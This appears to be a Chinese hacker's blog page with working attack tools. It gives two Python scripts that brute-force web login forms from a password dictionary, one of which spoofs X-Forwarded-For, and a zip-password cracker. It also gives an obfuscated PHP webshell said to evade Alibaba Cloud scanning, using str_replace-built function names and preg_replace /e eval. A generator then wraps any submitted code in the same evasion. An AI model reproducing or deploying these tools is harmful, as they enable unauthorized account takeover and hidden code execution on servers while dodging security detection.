2017年3月

登陆表单破解2

#! /usr/bin/env python
# coding:utf-8
'''
暴力破解登陆表单
date: 2017/3/13
参数: 脚本名 登陆地址 用户名 密码字典 登陆失败特征字符
'''
import requests, sys
if len(sys.argv) != 5:
    print u'''
    Usage: brute.py http:127.0.0.1/login.php admin pwd.txt failed
    '''
    sys.exit()

url = sys.argv[1]
username = sys.argv[2]
pwdPtah = sys.argv[3]
identify = sys.argv[4]

for password in open(pwdPtah).readlines():
    password = password.strip('\n')
    data = {
        'user': username,
        'passwd': password
    }
    headers = {
        'UserAgent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3004.3 Safari/537.36',
        'AcceptEncoding': 'gzip, deflate, sdch'
    }
    print u'正在尝试 %s:%s' % (username, password)
    res = requests.post(url, data=data, headers=headers)
    if res.text.find(identify) == -1:
        print u'破解成功,密码为: %s' % password
        break

这次用requests库写的,感觉比Urllib2要方便和强大些

登陆表单破解

#! /usr/bin/env python
# coding:utf-8
'''
登陆表单暴力破解
Date: 2017/3/12
'''
import urllib, urllib2, time

url = 'http://127.0.0.1/login.php'
UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3004.3 Safari/537.36'
xff = '127.0.0.1'
AcceptEncoding = 'gzip, deflate, sdch'

username = 'admin'
pwdPath = 'f:\\py_code\\pwd.txt'
identify = 'failed'    # 登录失败特征

def getPwdList(pwdPath):
    # 构建字典列表
    try:
        fopen = open(pwdPath)
        pwdList = [x.strip('\n') for x in fopen.readlines()]
        print '字典加载成功,总有%s条密码' % len(pwdList)
        return pwdList
    except Exception, msg:
        print '字典加载错误: %s' % msg

def makeReq(url, UserAgent, xff, AcceptEncoding):
    # 构造Request请求
    req = urllib2.Request(url)
    req.add_header('User-Agent', UserAgent)
    req.add_header('X-Forwarded-For', xff)
    req.add_header('Accept-Encoding', AcceptEncoding)
    return req

def login(req, username, password, identify):
    # 表单登陆
    params = {}
    params['passwd'] = password
    params['user'] = username
    data = urllib.urlencode(params)
    req.add_data(data)
    try:
        res = urllib2.urlopen(req)
        html_text = res.read()
        # print html_text
        if html_text.find(identify) == -1:
            return True
    except Exception, msg:
        print '网页打开错误: %s' % msg
        # print res.read()
        # print res.getcode()
        # print res.geturl()

pwdL = getPwdList(pwdPath)  # 密码字典列表
start_time = time.time()
for password in pwdL:
    req = makeReq(url, UserAgent, xff, AcceptEncoding)
    print '正在尝试 %s:%s' % (username, password)
    login_result = login(req=req, username=username, password=password, identify=identify)
    if login_result == True:
        spent_time = time.time() - start_time
        print '破解成功,密码为: %s ' % password
        print '耗时: %s 秒' % spent_time
        break

遇到的坑:
urllib2.Request对象生成后不要多次open,有大问题,调了一下午的大问题,不知为何,于是只能傻傻的一个open对应一个Request。很坑,调到心态爆炸,下次考虑用requests写了。

zip_crack

#!/usr/bin/env python
# coding:utf-8
'''
zip文件暴力破解
'''
import zipfile
zippath = 'f:\\py_code\\test.zip'   # 待破解zip
pwdpath = 'f:\\py_code\\pwd.txt'    # 字典
def decompress(zippath, password):
    zf = zipfile.ZipFile(zippath, 'r', zipfile.zlib.DEFLATED)
    try:
        zf.extractall(path='f:\\py_code\\test2', members=zf.namelist(), pwd=password)
        print '---crack success! The password is %s ---' % password
        zf.close()
        return True
    except:
        pass

def getPass(pwdpath):
    pwdfile = open(pwdpath, 'r')
    for line in pwdfile.readlines():
        password = line.strip('\n')
        print 'Try the password: %s' % password
        if decompress(zippath, password):
            break
    pwdfile.close()
getPass(pwdpath)

过阿里云webshell

某群看到的一个过阿里云的shell,

<?php 
    $cont = 'K8goyMxLy9fQtAYA';
    $b = str_replace('p', '', 'bpappspep6p4p_ppdpepcpopppdpep');
    $g = str_replace('o', '', 'gozoionofooloaootoeo');
    preg_replace('\'v\'e', 'e'.'v'.'a'.'l'.'($g($b($cont)))', 'v');
    ?>

分析出来是

<?php phpinfo();>

变异过程如下:

  • 原代码-->gzdeflate压缩-->base64编码

几个小细节:

  • gzdeflate,base64_encode等关键字都用str_replace来构造

  • 利用了preg_replace在/e修正下的代码执行,例如preg_replace('/a/e', 'phpinfo();', 'qaq')在匹配成功的时候,会执行参数2的代码。

附上一个加密脚本:

<?php
/*
 @ 免杀shell生成,目前过阿里云
 @ 有机会再多写几个函数
 */
 
//变异函数_1
function encode($cont) {
    $cont_encode = base64_encode(gzdeflate($cont));
    return $cont_encode;
}

if(isset($_POST['cont'])) {
    $cont = $_POST['cont'];
    $encode_shell = encode($cont);
}

//输出变异后代码
function print_shell($encode_shell) {
    $str = '<?php 
    ';
    $str .= '$cont = \''.$encode_shell.'\';
    ';
    $str .= '$b = str_replace(\'p\', \'\', \'bpappspep6p4p_ppdpepcpopppdpep\');
    ';
    $str .= '$g = str_replace(\'o\', \'\', \'gozoionofooloaootoeo\');
    ';
    $str .= 'preg_replace(\'\\\'v\\\'e\', \'e\'.\'v\'.\'a\'.\'l\'.\'($g($b($cont)))\', \'v\');
    ';
    $str .= '?>';
    return $str;
    //highlight_string($str);
}
if(!empty($encode_shell)) {
    $str = print_shell($encode_shell);
}
?>

<html>
<form action="" method="post">
<textarea rows="20" cols="100" name="cont">phpinfo();</textarea>
<br />
<input type="submit" value="encode" />
</form>
<textarea rows="20" cols="100" ><?php if(!empty($str)){echo $str;}?></textarea>
</html>

参考:
http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval
https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html